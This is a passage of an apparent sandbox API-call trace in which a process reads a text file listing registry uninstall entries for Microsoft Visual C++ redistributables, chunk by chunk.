InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\r\n NoModify\x15") returned 512 [0151.590] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=70144) returned 1 [0151.590] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.590] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x6ec\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xb\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xb\x15") returned 512 [0151.590] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=70656) returned 1 [0151.590] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.590] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="00ee66\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\r\n BundleUpgradeCode REG_MULTI_SZ {5A873082-F5A7-39E3-98EF-2BEE580CD698}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDet\x15") returned 512 [0151.590] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=71168) returned 1 [0151.590] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.590] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ectCode REG_MULTI_SZ \r\n BundlePatchCode REG_MULTI_SZ \r\n BundleVersion REG_SZ 11.0.61030.0\r\n BundleProviderKey REG_SZ {ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\r\n BundleTag REG_SZ \r\n EngineVersion REG_SZ 3.6.3542.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030\r\n DisplayVersion REG_SZ 11.0.61030\x15") returned 512 [0151.590] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=71680) returned 1 [0151.590] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.590] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=".0\r\n Publisher REG_SZ Microsoft Corporation\r\n ModifyPath REG_SZ \"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /modify\r\n NoElevateOnModify REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall\r\n EstimatedS\x15") returned 512 [0151.590] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=72192) returned 1 [0151.591] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.591] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ize REG_DWORD 0x5216\r\n Resume REG_DWORD 0x3\r\n Installed REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\r\n BundleUpgradeCode REG_MULTI_SZ {C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDetectCode REG_MULTI_SZ \r\n Bund\x15") returned 512 [0151.591] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=72704) returned 1 [0151.591] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.591] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="lePatchCode REG_MULTI_SZ \r\n BundleVersion REG_SZ 14.10.25017.0\r\n BundleProviderKey REG_SZ ,,amd64,14.0,bundle\r\n BundleTag REG_SZ \r\n EngineVersion REG_SZ 3.7.3813.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017\r\n DisplayVersion REG_SZ 14.10.25017.0\r\n Publisher REG_SZ Microsoft Corporation\x15") returned 512 [0151.591] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=73216) returned 1 [0151.591] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.591] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\r\n ModifyPath REG_SZ \"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify\r\n NoElevateOnModify REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall\r\n EstimatedSize REG_DWORD 0x65d0\r\n Resume REG_DWO\x15") returned 512 [0151.591] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=73728) returned 1 [0151.591] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.591] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="RD 0x3\r\n Installed REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\r\n BundleUpgradeCode REG_MULTI_SZ {1D1DB5E6-E0D8-3103-8570-369A82A9BF33}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDetectCode REG_MULTI_SZ \r\n BundlePatchCode REG_MULTI_SZ \r\n BundleVersion\x15") returned 512 [0151.591] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=74240) returned 1 [0151.591] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.591] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_SZ 12.0.30501.0\r\n BundleProviderKey REG_SZ {e6e75766-da0f-4ba2-9788-6ea593ce702d}\r\n BundleTag REG_SZ \r\n EngineVersion REG_SZ 3.7.2829.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501\r\n DisplayVersion REG_SZ 12.0.30501.0\r\n Publisher REG_SZ Microsoft Corporation\r\n ModifyPath REG_SZ \"C:\\P\x15") returned 512 [0151.591] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=74752) returned 1 [0151.592] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.592] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="rogramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /modify\r\n NoElevateOnModify REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall\r\n EstimatedSize REG_DWORD 0x44c0\r\n Resume REG_DWORD 0x3\r\n Installed REG_DWORD \x15") returned 512 [0151.592] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=75264) returned 1 [0151.592] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.592] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 10.0.40219\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=146008\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLo\x15") returned 512 [0151.592] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=75776) returned 1 [0151.592] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.592] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="cation REG_SZ \r\n InstallSource REG_SZ c:\\695fbbc389830707c2f7\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x2c99\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}\r\n URLInfoAbout REG_SZ \r\n URLU\x15") returned 512 [0151.592] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=76288) returned 1 [0151.592] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.592] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="pdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xa\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xa009d1b\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\r\n (Default) REG_SZ KB2151757\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow\x15") returned 512 [0151.592] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=76800) returned 1 [0151.592] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.592] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\r\n (Default) REG_SZ KB2467173\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\r\n (Default) REG_SZ KB2524860\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655\r\n (Default) REG_SZ KB2544655\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTW\x15") returned 512 [0151.593] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=77312) returned 1 [0151.593] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.593] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\r\n (Default) REG_SZ KB2549743\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063\r\n (Default) REG_SZ KB2565063\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573\r\n (Default) REG_SZ KB982573\r\n\r\nHKEY_LOCAL_MACHINE\\\x15") returned 512 [0151.593] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=77824) returned 1 [0151.593] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.593] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\r\n BundleUpgradeCode REG_MULTI_SZ {F899BAD3-98ED-308E-A905-56B5338963FF}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDetectCode REG_MULTI_SZ \r\n BundlePatchCode REG_MULTI_SZ \r\n BundleVersion REG_SZ 14.10.25017.0\r\n BundleProviderKey REG_SZ ,,\x15") returned 512 [0151.593] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=78336) returned 1 [0151.593] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.593] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="x86,14.0,bundle\r\n BundleTag REG_SZ \r\n EngineVersion REG_SZ 3.7.3813.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017\r\n DisplayVersion REG_SZ 14.10.25017.0\r\n Publisher REG_SZ Microsoft Corporation\r\n ModifyPath REG_SZ \"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" \x15") returned 512 [0151.593] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=78848) returned 1 [0151.593] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.593] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="/modify\r\n NoElevateOnModify REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall\r\n EstimatedSize REG_DWORD 0x55ff\r\n Resume REG_DWORD 0x3\r\n Installed REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersi\x15") returned 512 [0151.594] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=79360) returned 1 [0151.594] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.594] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="on\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 12.0.21005\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cach\x15") returned 512 [0151.594] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=79872) returned 1 [0151.594] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.594] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="e\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x24f0\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\r\n URLInfoAbout REG_S\x15") returned 512 [0151.594] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=80384) returned 1 [0151.594] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.594] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x152, lpOverlapped=0x0) returned 1 [0151.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=338, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Z \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xc\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xc00520d\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005\r\n\r\n-------- \r\nRD 0x24f0\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}\r\n URLInfoAbout REG_S\x15") returned 338 [0151.594] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=80722) returned 1 [0151.594] _close (_FileHandle=4) returned 0 [0151.594] FindNextFileW (in: hFindFile=0x1f1320, lpFindFileData=0x15f270 | out: lpFindFileData=0x15f270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3b3b110, ftCreationTime.dwHighDateTime=0x1d51ed4, 